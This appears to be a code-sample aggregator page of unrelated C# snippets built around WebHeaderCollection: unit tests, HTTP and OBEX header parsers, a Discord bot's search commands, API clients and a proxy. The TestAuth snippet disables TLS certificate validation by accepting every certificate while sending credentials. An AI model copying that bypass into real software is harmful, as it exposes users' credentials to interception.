                        frame.m_consoleIP = (String)flag.Attribute("V");
                        frame.m_consoleIP = frame.m_consoleIP.Substring(frame.m_consoleIP.LastIndexOf(':') + 1);
                        break;
                    }
                }
            }

            //Read the server part of the frame(###_s.txt)
            using (var sFileMemory = Utils.DecompressToMemory(sFileStream))
            {
                using (var sFile = new BinaryReader(sFileMemory))
                {
                    var fileLine = sFile.ReadLine();

                    if (String.IsNullOrEmpty(fileLine) == false)
                    {
                        var statusCodeLine = fileLine.Split(' ');

                        frame.m_httpStatusCode = UInt32.Parse(statusCodeLine[1]);
                    }

                    // Read the Response Headers
                    var headers = new WebHeaderCollection();
                    fileLine = sFile.ReadLine();
                    while (!String.IsNullOrWhiteSpace(fileLine))
                    {
                        headers.Add(fileLine);
                        fileLine = sFile.ReadLine();
                    }

                    // Read the Response Body
                    string contentEncoding = headers["Content-Encoding"];
                    if (!string.IsNullOrWhiteSpace(contentEncoding) && contentEncoding.Equals("deflate", StringComparison.OrdinalIgnoreCase))
                    {
                        using (var memory = Utils.InflateData(sFile.ReadToEnd()))
                        {
                            using (var data = new BinaryReader(memory))
                            {
                                fileLine = Encoding.ASCII.GetString(data.ReadToEnd());
                            }
                        }
                    }
                    else
                    {
                        fileLine = Encoding.ASCII.GetString(sFile.ReadToEnd());
                    }

                    frame.m_rspHeader = headers.ToString();

                    // Read the Response Body
                    frame.m_rspBody = fileLine;
                }
            }

            return(frame);
        }
 public void WebHeaderCollection_Keys_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add(HttpRequestHeader.ContentLength, "10");
     w.Add(HttpRequestHeader.ContentType, "text/html");
     Assert.Equal(2, w.Keys.Count);
 }
 public void Custom_AddThenRemove_Success()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     w.Add("name", "value");
     w.Remove("name");
     Assert.Equal(0, w.Count);
 }
 public void HttpRequestHeader_AddHeader_Failure()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     char[] arr = new char[ushort.MaxValue + 1];
     string maxStr = new string(arr);
     Assert.Throws<ArgumentException>(() => w.Add(HttpRequestHeader.ContentLength,maxStr));
     Assert.Throws<ArgumentException>(() => w.Add("ContentLength", maxStr));
 }
        public void GetKey_Success()
        {
            const string key = "Accept";
            const string key2 = "Content-Length";
            WebHeaderCollection w = new WebHeaderCollection();

            w.Add(key, "text/plain");
            w.Add(key2, "123");

            Assert.Equal(key, w.GetKey(0));
            Assert.Equal(key2, w.GetKey(1));
        }
 public void HttpRequestHeader_AddMissingColon_Failure()
 {
     WebHeaderCollection w = new WebHeaderCollection();
     Assert.Throws<ArgumentException>(() => w.Add("ContentType#text/html"));
 }
	public void TestWebHeaderCollectionGetValues()
	{
		WebHeaderCollection whc = new WebHeaderCollection();
		string[] strArray1;
		try
		{
			strArray1 = whc.GetValues(null);
			Fail("GetValues: failed to throw exception for null argument");
		}
		catch(ArgumentNullException)
		{
			// Ok
		}
		whc.Add("phony:junk");
		whc.Add("more", "stuff");
		string[] strArray = whc.GetValues("phony");
		if (strArray[0] != "junk")
			Fail("GetValues: returned incorrect data for 'phony:junk'");
		strArray1 = whc.GetValues("more");
		if (strArray1[0] != "stuff")
			Fail("GetValues: returned incorrect data for 'more:stuff'");
		string[] strArray2 = whc.GetValues("notThere");
		if (strArray2 != null)
			Fail("GetValues: did not return null for name:value not in collection");
	}
Ejemplo n.º 29
0
        State ReadTrailer(byte [] buffer, ref int offset, int size)
        {
            char c = '\0';

            // short path
            if (trailerState == 2 && (char)buffer [offset] == '\r' && saved.Length == 0)
            {
                offset++;
                if (offset < size && (char)buffer [offset] == '\n')
                {
                    offset++;
                    return(State.None);
                }

                offset--;
            }

            int    st       = trailerState;
            string stString = "\r\n\r";

            while (offset < size && st < 4)
            {
                c = (char)buffer [offset++];
                if ((st == 0 || st == 2) && c == '\r')
                {
                    st++;
                    continue;
                }

                if ((st == 1 || st == 3) && c == '\n')
                {
                    st++;
                    continue;
                }

                if (st > 0)
                {
                    saved.Append(stString.Substring(0, saved.Length == 0? st - 2: st));
                    st = 0;
                    if (saved.Length > 4196)
                    {
                        ThrowProtocolViolation("Error reading trailer (too long).");
                    }
                }
            }

            if (st < 4)
            {
                trailerState = st;
                if (offset < size)
                {
                    ThrowProtocolViolation("Error reading trailer.");
                }

                return(State.Trailer);
            }

            var    reader = new StringReader(saved.ToString());
            string line;

            while ((line = reader.ReadLine()) != null && line != "")
            {
                headers.Add(line);
            }

            return(State.None);
        }
Ejemplo n.º 30
0
        /*
         * This function populate the request properties and its headers.
         * params : fileText - the request text.
         *        request - the HttpWebRequest that will be executed.
         *        myWebHeaderCollection - WebHeaderCollection for saving the request headers.
         */
        private static void setRequestProperties(string[] fileText, ref HttpWebRequest request, ref WebHeaderCollection myWebHeaderCollection)
        {
            string          domain   = "www.instagram.com";
            CookieContainer coockies = new CookieContainer();
            Cookie          cookie   = new Cookie();

            // handle the first line in the file,get the request type and the ulr.
            string[] splitedLine = fileText[0].Split(' ');
            request = (HttpWebRequest)WebRequest.Create(splitedLine[1]);
            myWebHeaderCollection          = request.Headers;
            request.Method                 = splitedLine[0];
            request.AutomaticDecompression = DecompressionMethods.GZip;
            request.ContentType            = "application/json";

            foreach (string line in fileText)
            {
                if (line == fileText.First())
                {
                    continue;
                }
                splitedLine = line.Split(':');
                //populate request headers or add a header to the header collection.
                switch (splitedLine[0].ToUpper().Trim())
                {
                case "HOST":
                    request.Host = splitedLine[1].TrimStart();
                    break;

                case "CONNECTION":
                    request.KeepAlive = splitedLine[1].TrimStart().Equals("keep-alive") ? true : false;
                    break;

                case "ACCEPT":
                    request.Accept = splitedLine[1].TrimStart();
                    break;

                case "USER-AGENT":
                    request.UserAgent = splitedLine[1].TrimStart();
                    break;

                case "REFERER":
                    request.Referer = "https://www.instagram.com/cloudresearch11/following/";
                    break;

                case "Cookie":
                    string[] cookiesSplit = splitedLine[1].Split(';');
                    foreach (string splitedCookie in cookiesSplit)
                    {
                        string[] cookieNameAndValue = splitedCookie.Split('=');
                        cookie.Name   = cookieNameAndValue[0].TrimStart();
                        cookie.Value  = cookieNameAndValue[1].TrimStart();
                        cookie.Domain = domain;
                        request.CookieContainer.Add(cookie);
                    }
                    break;

                default:        //adding headers
                    myWebHeaderCollection.Add(splitedLine[0], splitedLine[1].TrimStart());
                    break;
                }
            }
        }
Ejemplo n.º 31
0
        private void Send_req()
        {
            string              uuid      = "";
            MyDelegate          d         = new MyDelegate(UpdateText);
            HttpWebRequest      wbRequest = (HttpWebRequest)WebRequest.Create(uri);
            WebHeaderCollection headers   = wbRequest.Headers;

            headers.Add(APIKEY);
            wbRequest.Headers           = headers;
            wbRequest.ContentType       = "application/json";
            wbRequest.AllowAutoRedirect = false;
            wbRequest.Timeout           = 5000;
            wbRequest.Method            = "POST";
            try
            {
                Stream       myRequestStream = wbRequest.GetRequestStream();
                StreamWriter myStreamWriter  = new StreamWriter(myRequestStream, Encoding.GetEncoding("gb2312"));
                myStreamWriter.Write(req_content);
                myStreamWriter.Close();

                HttpWebResponse response = (HttpWebResponse)wbRequest.GetResponse();

                Stream       myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader   = new StreamReader(myResponseStream, Encoding.UTF8);
                string       retString        = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();
                JObject jo = (JObject)JsonConvert.DeserializeObject(retString);

                if (jo["errno"].ToString().Contains('0') && (jo["error"].ToString().Contains("succ")))
                {
                    JToken js = (JToken)jo["data"];
                    uuid = js["cmd_uuid"].ToString();
                }
                this.Dispatcher.Invoke(d, jo.ToString());
                jo      = null;
                uri     = null;
                headers = null;
                if (uuid != "")
                {
                    DateTime dt   = DateTime.Now;
                    TimeSpan span = DateTime.Now - dt;
                    while (span.Minutes < 2)
                    {
                        span = DateTime.Now - dt;

                        uri       = new Uri(HostName + "/" + uuid);
                        wbRequest = (HttpWebRequest)WebRequest.Create(uri);
                        headers   = wbRequest.Headers;
                        headers.Add(APIKEY);
                        wbRequest.Headers           = headers;
                        wbRequest.ContentType       = "application/json";
                        wbRequest.AllowAutoRedirect = false;
                        wbRequest.Timeout           = 5000;
                        wbRequest.Method            = "GET";
                        response = (HttpWebResponse)wbRequest.GetResponse();

                        myResponseStream = response.GetResponseStream();
                        myStreamReader   = new StreamReader(myResponseStream, Encoding.UTF8);
                        retString        = myStreamReader.ReadToEnd();
                        myStreamReader.Close();
                        myResponseStream.Close();
                        jo = (JObject)JsonConvert.DeserializeObject(retString);
                        if (jo["errno"].ToString().Contains('0') && (jo["error"].ToString().Contains("succ")))
                        {
                            JToken js     = (JToken)jo["data"];
                            String status = js["status"].ToString();
                            if (status == "4")
                            {
                                this.Dispatcher.Invoke(d, jo.ToString());
                                uri       = new Uri(HostName + "/" + uuid + "/resp");
                                wbRequest = (HttpWebRequest)WebRequest.Create(uri);
                                headers   = wbRequest.Headers;
                                headers.Add(APIKEY);
                                wbRequest.Headers           = headers;
                                wbRequest.ContentType       = "application/json";
                                wbRequest.AllowAutoRedirect = false;
                                wbRequest.Timeout           = 5000;
                                wbRequest.Method            = "GET";
                                response = (HttpWebResponse)wbRequest.GetResponse();

                                myResponseStream = response.GetResponseStream();
                                myStreamReader   = new StreamReader(myResponseStream, Encoding.UTF8);
                                retString        = myStreamReader.ReadToEnd();
                                myStreamReader.Close();
                                myResponseStream.Close();
                                jo = (JObject)JsonConvert.DeserializeObject(retString);
                                this.Dispatcher.Invoke(d, jo.ToString());
                                if (req_thread != null)
                                {
                                    req_thread.Abort();
                                }
                            }
                        }
                        Thread.Sleep(1000);
                    }
                }
            }
            catch
            {
            }
            finally
            {
                if (req_thread != null)
                {
                    req_thread.Abort();
                }
            }
        }
Ejemplo n.º 32
0
 public void AddCustomHeader(string headerKey, string value)
 {
     _headers.Add(headerKey, value);
 }
        public override void Install(ModuleManager manager)
        {
            var client = NadekoBot.client;

            manager.CreateCommands("", cgb => {
                cgb.AddCheck(Classes.Permissions.PermissionChecker.Instance);

                commands.ForEach(cmd => cmd.Init(cgb));

                cgb.CreateCommand("~yt")
                .Parameter("query", ParameterType.Unparsed)
                .Description("Searches youtubes and shows the first result")
                .Do(async e => {
                    if (!(await SearchHelper.ValidateQuery(e.Channel, e.GetArg("query"))))
                    {
                        return;
                    }

                    var str = await SearchHelper.ShortenUrl(await SearchHelper.FindYoutubeUrlByKeywords(e.GetArg("query")));
                    if (string.IsNullOrEmpty(str.Trim()))
                    {
                        await e.Channel.SendMessage("Query failed");
                        return;
                    }
                    await e.Channel.SendMessage(str);
                });

                cgb.CreateCommand("~ani")
                .Alias("~anime").Alias("~aq")
                .Parameter("query", ParameterType.Unparsed)
                .Description("Queries anilist for an anime and shows the first result.")
                .Do(async e => {
                    if (!(await SearchHelper.ValidateQuery(e.Channel, e.GetArg("query"))))
                    {
                        return;
                    }

                    var result = await SearchHelper.GetAnimeQueryResultLink(e.GetArg("query"));
                    if (result == null)
                    {
                        await e.Channel.SendMessage("Failed to find that anime.");
                        return;
                    }

                    await e.Channel.SendMessage(result.ToString());
                });

                cgb.CreateCommand("~mang")
                .Alias("~manga").Alias("~mq")
                .Parameter("query", ParameterType.Unparsed)
                .Description("Queries anilist for a manga and shows the first result.")
                .Do(async e => {
                    if (!(await SearchHelper.ValidateQuery(e.Channel, e.GetArg("query"))))
                    {
                        return;
                    }

                    var result = await SearchHelper.GetMangaQueryResultLink(e.GetArg("query"));
                    if (result == null)
                    {
                        await e.Channel.SendMessage("Failed to find that manga.");
                        return;
                    }
                    await e.Channel.SendMessage(result.ToString());
                });

                cgb.CreateCommand("~randomcat")
                .Description("Shows a random cat image.")
                .Do(async e => {
                    try {
                        await e.Channel.SendMessage(JObject.Parse(new StreamReader(
                                                                      WebRequest.Create("http://www.random.cat/meow")
                                                                      .GetResponse()
                                                                      .GetResponseStream())
                                                                  .ReadToEnd())["file"].ToString());
                    }
                    catch { }
                });

                cgb.CreateCommand("~i")
                .Description("Pulls the first image found using a search parameter. Use ~ir for different results.\n**Usage**: ~i cute kitten")
                .Parameter("query", ParameterType.Unparsed)
                .Do(async e => {
                    if (string.IsNullOrWhiteSpace(e.GetArg("query")))
                    {
                        return;
                    }
                    try {
                        var reqString = $"https://www.googleapis.com/customsearch/v1?q={Uri.EscapeDataString(e.GetArg("query"))}&cx=018084019232060951019%3Ahs5piey28-e&num=1&searchType=image&fields=items%2Flink&key={NadekoBot.creds.GoogleAPIKey}";
                        var obj       = JObject.Parse(await SearchHelper.GetResponseAsync(reqString));
                        await e.Channel.SendMessage(obj["items"][0]["link"].ToString());
                    }
                    catch (Exception ex) {
                        await e.Channel.SendMessage($"💢 {ex.Message}");
                    }
                });

                cgb.CreateCommand("~ir")
                .Description("Pulls a random image using a search parameter.\n**Usage**: ~ir cute kitten")
                .Parameter("query", ParameterType.Unparsed)
                .Do(async e => {
                    if (string.IsNullOrWhiteSpace(e.GetArg("query")))
                    {
                        return;
                    }
                    try {
                        var reqString = $"https://www.googleapis.com/customsearch/v1?q={Uri.EscapeDataString(e.GetArg("query"))}&cx=018084019232060951019%3Ahs5piey28-e&num=1&searchType=image&start={ _r.Next(1, 150) }&fields=items%2Flink&key={NadekoBot.creds.GoogleAPIKey}";
                        var obj       = JObject.Parse(await SearchHelper.GetResponseAsync(reqString));
                        await e.Channel.SendMessage(obj["items"][0]["link"].ToString());
                    }
                    catch (Exception ex) {
                        await e.Channel.SendMessage($"💢 {ex.Message}");
                    }
                });
                cgb.CreateCommand("lmgtfy")
                .Alias("~lmgtfy")
                .Description("Google something for an idiot.")
                .Parameter("ffs", ParameterType.Unparsed)
                .Do(async e => {
                    if (e.GetArg("ffs") == null || e.GetArg("ffs").Length < 1)
                    {
                        return;
                    }
                    await e.Channel.SendMessage(await $"http://lmgtfy.com/?q={ Uri.EscapeUriString(e.GetArg("ffs").ToString()) }".ShortenUrl());
                });

                cgb.CreateCommand("~hs")
                .Description("Searches for a Hearthstone card and shows its image. Takes a while to complete.\n**Usage**:~hs Ysera")
                .Parameter("name", ParameterType.Unparsed)
                .Do(async e => {
                    var arg = e.GetArg("name");
                    if (string.IsNullOrWhiteSpace(arg))
                    {
                        await e.Channel.SendMessage("💢 Please enter a card name to search for.");
                        return;
                    }
                    await e.Channel.SendIsTyping();
                    var headers = new WebHeaderCollection();
                    headers.Add("X-Mashape-Key", NadekoBot.creds.MashapeKey);
                    var res = await SearchHelper.GetResponseAsync($"https://omgvamp-hearthstone-v1.p.mashape.com/cards/search/{Uri.EscapeUriString(arg)}", headers);
                    try {
                        var items = JArray.Parse(res);
                        List <System.Drawing.Image> images = new List <System.Drawing.Image>();
                        if (items == null)
                        {
                            throw new KeyNotFoundException("Cannot find a card by that name");
                        }
                        int cnt = 0;
                        items.Shuffle();
                        foreach (var item in items)
                        {
                            if (cnt >= 4)
                            {
                                break;
                            }
                            if (!item.HasValues || item["img"] == null)
                            {
                                continue;
                            }
                            cnt++;
                            images.Add(System.Drawing.Bitmap.FromStream(await SearchHelper.GetResponseStream(item["img"].ToString())));
                        }
                        if (items.Count > 4)
                        {
                            await e.Channel.SendMessage("⚠ Found over 4 images. Showing random 4.");
                        }
                        Console.WriteLine("Start");
                        await e.Channel.SendFile(arg + ".png", (await images.MergeAsync()).ToStream(System.Drawing.Imaging.ImageFormat.Png));
                        Console.WriteLine("Finish");
                    }
                    catch (Exception ex) {
                        await e.Channel.SendMessage($"💢 Error {ex.Message}");
                    }
                });

                cgb.CreateCommand("~osu")
                .Description("Shows osu stats for a player.\n**Usage**:~osu Name")
                .Parameter("usr", ParameterType.Unparsed)
                .Do(async e => {
                    if (string.IsNullOrWhiteSpace(e.GetArg("usr")))
                    {
                        return;
                    }

                    using (WebClient cl = new WebClient()) {
                        try {
                            cl.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.NoCacheNoStore);
                            cl.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 6.2; Win64; x64)");
                            cl.DownloadDataAsync(new Uri($"http://lemmmy.pw/osusig/sig.php?uname={ e.GetArg("usr") }&flagshadow&xpbar&xpbarhex&pp=2"));
                            cl.DownloadDataCompleted += async(s, cle) => {
                                try {
                                    await e.Channel.SendFile($"{e.GetArg("usr")}.png", new MemoryStream(cle.Result));
                                    await e.Channel.SendMessage($"`Profile Link:`https://osu.ppy.sh/u/{Uri.EscapeDataString(e.GetArg("usr"))}\n`Image provided by https://lemmmy.pw/osusig`");
                                }
                                catch { }
                            };
                        }
                        catch {
                            await e.Channel.SendMessage("💢 Failed retrieving osu signature :\\");
                        }
                    }
                });

                cgb.CreateCommand("~ud")
                .Description("Searches Urban Dictionary for a word.\n**Usage**:~ud Pineapple")
                .Parameter("query", ParameterType.Unparsed)
                .Do(async e => {
                    var arg = e.GetArg("query");
                    if (string.IsNullOrWhiteSpace(arg))
                    {
                        await e.Channel.SendMessage("💢 Please enter a search term.");
                        return;
                    }
                    await e.Channel.SendIsTyping();
                    var headers = new WebHeaderCollection();
                    headers.Add("X-Mashape-Key", NadekoBot.creds.MashapeKey);
                    var res = await SearchHelper.GetResponseAsync($"https://mashape-community-urban-dictionary.p.mashape.com/define?term={Uri.EscapeUriString(arg)}", headers);
                    try {
                        var items = JObject.Parse(res);
                        var sb    = new System.Text.StringBuilder();
                        sb.AppendLine($"`Term:` {items["list"][0]["word"].ToString()}");
                        sb.AppendLine($"`Definition:` {items["list"][0]["definition"].ToString()}");
                        sb.Append($"`Link:` <{await items["list"][0]["permalink"].ToString().ShortenUrl()}>");
                        await e.Channel.SendMessage(sb.ToString());
                    }
                    catch {
                        await e.Channel.SendMessage("💢 Failed finding a definition for that term.");
                    }
                });
                // thanks to Blaubeerwald
                cgb.CreateCommand("~#")
                .Description("Searches Tagdef.com for a hashtag.\n**Usage**:~# ff")
                .Parameter("query", ParameterType.Unparsed)
                .Do(async e => {
                    var arg = e.GetArg("query");
                    if (string.IsNullOrWhiteSpace(arg))
                    {
                        await e.Channel.SendMessage("💢 Please enter a search term.");
                        return;
                    }
                    await e.Channel.SendIsTyping();
                    var headers = new WebHeaderCollection();
                    headers.Add("X-Mashape-Key", NadekoBot.creds.MashapeKey);
                    var res = await SearchHelper.GetResponseAsync($"https://tagdef.p.mashape.com/one.{Uri.EscapeUriString(arg)}.json", headers);
                    try {
                        var items = JObject.Parse(res);
                        var sb    = new System.Text.StringBuilder();
                        sb.AppendLine($"`Hashtag:` {items["defs"]["def"]["hashtag"].ToString()}");
                        sb.AppendLine($"`Definition:` {items["defs"]["def"]["text"].ToString()}");
                        sb.Append($"`Link:` <{await items["defs"]["def"]["uri"].ToString().ShortenUrl()}>");
                        await e.Channel.SendMessage(sb.ToString());
                    }
                    catch {
                        await e.Channel.SendMessage("💢 Failed finidng a definition for that tag.");
                    }
                });
                //todo when moved from parse

                /*
                 * cgb.CreateCommand("~osubind")
                 *  .Description("Bind discord user to osu name\n**Usage**: ~osubind My osu name")
                 *  .Parameter("osu_name", ParameterType.Unparsed)
                 *  .Do(async e => {
                 *      var userName = e.GetArg("user_name");
                 *      var osuName = e.GetArg("osu_name");
                 *      var usr = e.Server.FindUsers(userName).FirstOrDefault();
                 *      if (usr == null) {
                 *          await e.Channel.SendMessage("Cannot find that discord user.");
                 *          return;
                 *      }
                 *  });
                 */
            });
        }
 public void Add(string name, string value)
 => _headers.Add(name, value);
	public void TestWebHeaderCollectionToString()
	{
		WebHeaderCollection whc = new WebHeaderCollection();
		whc.Add("test", "entry");
		whc.Add("more:junk");
		AssertEquals("ToString()","test: entry\r\nmore: junk\r\n",
						whc.ToString());
	}
Ejemplo n.º 36
0
        internal static void ParseHeaders(byte[] packet, bool isConnectPacket, ref ushort remoteMaxPacket, Stream bodyStream, WebHeaderCollection headers)
        {
            ObexMethod method       = (ObexMethod)packet[0];
            int        packetLength = IPAddress.NetworkToHostOrder(BitConverter.ToInt16(packet, 1));

            int pos     = 3;
            int lastPos = int.MinValue;

            while (pos < packetLength)
            {
                if (pos == lastPos)
                {
                    Debug.Fail("Infinite Loop!");
                    throw new InvalidOperationException("Infinite Loop!");
                }
                lastPos = pos;

                ObexHeader header = (ObexHeader)packet[pos];
                switch (header)
                {
                case ObexHeader.None:
                    return;

                case (ObexHeader)0x10:
                    Debug.Assert(isConnectPacket, "NOT isConnectPacket");
                    Debug.Assert(pos == 3, "NOT before any headers!");
                    remoteMaxPacket = unchecked ((ushort)IPAddress.NetworkToHostOrder(BitConverter.ToInt16(packet, pos + 2)));
                    pos            += 4;
                    break;

                case ObexHeader.ConnectionID:
                case ObexHeader.Count:
                case ObexHeader.Length:
                case ObexHeader.CreatorID:
                case ObexHeader.Time4Byte:
                    int intValue = IPAddress.NetworkToHostOrder(BitConverter.ToInt32(packet, pos + 1));
                    pos += 5;
                    string key   = header.ToString().ToUpper();
                    string value = intValue.ToString();
                    // Duplicate headers causes comma-separated HTTP list!!
                    if (-1 != Array.IndexOf <string>(headers.AllKeys, key))
                    {
                        string existing = headers.Get(key);
                        if (value == existing)
                        {
                            // Just discard it then.
                            break;
                        }
                        else
                        {
                            Debug.Assert(-1 == Array.IndexOf <string>(headers.AllKeys, header.ToString().ToUpper()),
                                         "Duplicate headers causes comma-separated HTTP list!!: " + header.ToString().ToUpper());
                        }
                    }
                    headers.Add(header.ToString().ToUpper(), intValue.ToString());
                    break;

                case ObexHeader.Who:
                    short  whoSize  = IPAddress.NetworkToHostOrder(BitConverter.ToInt16(packet, pos + 1));
                    byte[] whoBytes = new byte[16];
                    Buffer.BlockCopy(packet, pos + 3, whoBytes, 0, whoSize - 3);
                    Guid service = new Guid(whoBytes);
                    headers.Add(header.ToString().ToUpper(), service.ToString());
                    pos += whoSize;
                    break;

                case ObexHeader.Body:
                case ObexHeader.EndOfBody:
                    short bodySize = IPAddress.NetworkToHostOrder(BitConverter.ToInt16(packet, pos + 1));
                    bodyStream.Write(packet, pos + 3, bodySize - 3);
                    pos += bodySize;
                    break;

                default:
                    int headerSize = IPAddress.NetworkToHostOrder(BitConverter.ToInt16(packet, pos + 1));

                    if (headerSize > 3)
                    {
                        string headerString = System.Text.Encoding.BigEndianUnicode.GetString(packet, pos + 3, headerSize - 5);
                        if (headerString != null)
                        {
                            int nullindex = headerString.IndexOf('\0');
                            if (nullindex > -1)
                            {
                                headerString = headerString.Substring(0, nullindex);
                            }

                            if (headerString != string.Empty)
                            {
                                headers.Add(header.ToString().ToUpper(), headerString);
                            }
                        }
                    }

                    pos += headerSize;
                    break;
                }
            }
        }
	public void TestWebHeaderCollectionRemove()
	{
		WebHeaderCollection whc = new WebHeaderCollection();
		whc.Add("some:stuff");
		whc.Remove("some");
		try
		{
			whc.Remove(null);
			Fail("Remove: failed to throw exception for null argument");
		}
		catch (ArgumentNullException)
		{
			// Ok
		}
		try
		{
			whc.Remove("[NotValidHeader?]");
			Fail("Remove: failed to throw exception for invalid header name: '[NotValidHeader?]'");
		}
		catch (ArgumentException)
		{
			// Yep...
		}
		try
		{
			whc.Remove("accept");
			Fail("Remove: failed to throw exception for restricted header 'accept'");
		}
		catch (ArgumentException)
		{
			// Still moving along...
		}
	}
        /// <summary>
        /// Make a request to the HTTP API of Aftership
        /// </summary>
        ///<param name="method">String with the method of the request: GET, POST, PUT, DELETE</param>
        ///<param name="urlResource">String with the URL of the request</param>
        ///<param name="body">String JSON with the body of the request,
        /// if the request doesn't need body "GET/DELETE", the bodywould be null</param>
        /// <returns>A String JSON with the response of the request</returns>
        ///
        public JObject request(String method, String urlResource, String body)
        {
            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
            string url           = _url + VERSION_API + urlResource;
            string json_response = "";

            HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;

            request.Timeout = 150000;
            WebHeaderCollection header = new WebHeaderCollection();

            header.Add("aftership-api-key", _tokenAftership);
            request.Headers     = header;
            request.ContentType = "application/json";
            request.Method      = method;
            // Console.WriteLine(method+" Requesting the URL :"+ url);

            if (body != null)
            {
                // Console.WriteLine ("body: " + body);
                //is a POST or PUT
                using (var streamWriter = new StreamWriter(request.GetRequestStream()))
                {
                    streamWriter.Write(body);
                    streamWriter.Flush();
                    streamWriter.Close();
                }
            }

            try{
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
//                if(response.StatusCode == HttpStatusCode.OK || response.StatusCode == HttpStatusCode.Created){
                StreamReader reader = new StreamReader(response.GetResponseStream());
                json_response = reader.ReadToEnd();
//                }else if (response.StatusCode == HttpStatusCode.RequestTimeout){
//                    throw new TimeoutException();
//                }else{
//                    throw new WebException(response.StatusCode.ToString());
//                }
            }catch (WebException e) {
                if (e.Response == null)
                {
                    throw e;
                    //timeout or bad internet conexion
                }
                else
                {
                    //probably Aftership will give more information of the problem, so we read the response
                    HttpWebResponse response = e.Response as HttpWebResponse;
                    using (Stream stream = response.GetResponseStream())
                        using (var reader = new StreamReader(stream)) {
                            String text = reader.ReadToEnd();
                            throw new WebException(text, e);
                        }
                }
            }catch (Exception e) {
                throw e;
            }
//            }finally{
//                Console.WriteLine ("Finish Request "+DateTime.Now);
//            }
            Console.WriteLine("Response request: " + json_response + "*");
            return(JObject.Parse(json_response));;
        }
Ejemplo n.º 39
0
        /// <summary>
        /// 测试原始用户名和密码是否正确
        /// </summary>
        public static bool TestAuth(string username, string password)
        {
            #region Windows集成帐户认证
            if (!IsApacheAuthMode())
            {
                bool blnResult = false;
                using (IdentityAnalogue ID = new IdentityAnalogue())
                {
                    if (ID.TryLogonAs(".", username, password))
                    {
                        blnResult = true;
                    }
                }
                return(blnResult);
            }
            #endregion

            string              url     = ConfigurationManager.AppSettings["AuthURL4Pass"];
            WebClient           wc      = new WebClient();
            WebHeaderCollection headers = new WebHeaderCollection();
            headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 (.NET CLR 3.5.30729)");
            wc.Headers = headers;

            wc.Credentials = new NetworkCredential(username, password);

            //System.Net.ServicePointManager.CertificatePolicy = new TrustAllCertificatePolicy();
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(
                delegate(object o, X509Certificate cert, X509Chain chain, SslPolicyErrors errors)
            {
                return(true);
            });

            try
            {
                MemoryStream ms = new MemoryStream();
                using (Stream rms = wc.OpenRead(url))
                {
                    int bt = rms.ReadByte();
                    while (bt != -1)
                    {
                        ms.WriteByte(Convert.ToByte(bt));
                        bt = rms.ReadByte();
                    }
                    rms.Close();
                }

                //Console.WriteLine("读取响应流完成,输出响应头...");
                //for (int i = 0; i < wc.ResponseHeaders.Count; i++)
                //{
                //    Console.WriteLine("{0}:{1}", wc.ResponseHeaders.AllKeys[i], wc.ResponseHeaders[i]);
                //}
                //Console.WriteLine(Encoding.UTF8.GetString(ms.ToArray()));

                ms.Close();
                ms.Dispose();

                return(true);
            }
            catch (WebException)
            {
                return(false);
            }
        }
Ejemplo n.º 40
0
        /// <summary>
        /// Convert a Web 2.0 page to Web 1.0-like page.
        /// </summary>
        /// <param name="ClientRequest">Request from HttpListener</param>
        /// <param name="ClientResponse">Response for HttpListener</param>
        /// <param name="BeginTime">Initial time (for log)</param>
        public Transit(HttpListenerRequest ClientRequest, HttpListenerResponse ClientResponse, DateTime BeginTime)
        {
            this.ClientRequest  = ClientRequest;
            this.ClientResponse = ClientResponse;
            this.BeginTime      = BeginTime;
                        #if DEBUG
            Console.WriteLine("{0}\t Begin process.", GetTime(BeginTime));
                        #endif
            try
            {
                ShouldRedirectInNETFW = false;

                //check for login to proxy if need
                if (ConfigFile.Authenticate != "")
                {
                    if (ClientRequest.Headers["Proxy-Authorization"] == null || ClientRequest.Headers["Proxy-Authorization"] == "")
                    {
                        Console.WriteLine("{0}\t Unauthorized client.", GetTime(BeginTime));
                        ClientResponse.AddHeader("Proxy-Authenticate", @"Basic realm=""Log in to WebOne""");
                        SendError(407, "Hello! This Web 2.0-to-1.0 proxy server is private. Please enter your credentials.");
                        return;
                    }
                    else
                    {
                        string auth = Encoding.Default.GetString(Convert.FromBase64String(ClientRequest.Headers["Proxy-Authorization"].Substring(6)));
                        if (auth != ConfigFile.Authenticate)
                        {
                            Console.WriteLine("{0}\t Incorrect login: '******'.", GetTime(BeginTime), auth);
                            ClientResponse.AddHeader("Proxy-Authenticate", @"Basic realm=""Your WebOne credentials are incorrect""");
                            SendError(407, "Your password is not correct. Please try again.");
                            return;
                        }
                    }
                }

                //fix "carousels"
                string RefererUri = ClientRequest.Headers["Referer"];
                RequestURL = ClientRequest.Url;

                //check for local or internal URL
                if (RequestURL.Host == "localhost" || RequestURL.Host == Environment.MachineName || RequestURL.Host == "127.0.0.1")
                {
                    if (RequestURL.PathAndQuery.StartsWith("/!"))
                    {
                        //internal URLs
                        Console.WriteLine("{0}\t Internal: {1} ", GetTime(BeginTime), RequestURL.PathAndQuery);
                        switch (RequestURL.AbsolutePath)
                        {
                        case "/!codepages/":
                            string codepages = "The following code pages are available: <br>\n" +
                                               "<table><tr><td><b>Name</b></td><td><b>#</b></td><td><b>Description</b></td></tr>\n";
                            codepages += "<tr><td><b>AsIs</b></td><td>0</td><td>Leave page's code page as is</td></tr>\n";
                            foreach (EncodingInfo cp in Encoding.GetEncodings())
                            {
                                if (Encoding.Default.EncodingName.Contains(" ") && cp.DisplayName.Contains(Encoding.Default.EncodingName.Substring(0, Encoding.Default.EncodingName.IndexOf(" "))))
                                {
                                    codepages += "<tr><td><b><u>" + cp.Name + "</u></b></td><td><u>" + cp.CodePage + "</u></td><td><u>" + cp.DisplayName + (cp.CodePage == Encoding.Default.CodePage ? "</u> (<i>system default</i>)" : "</u>") + "</td></tr>\n";
                                }
                                else
                                {
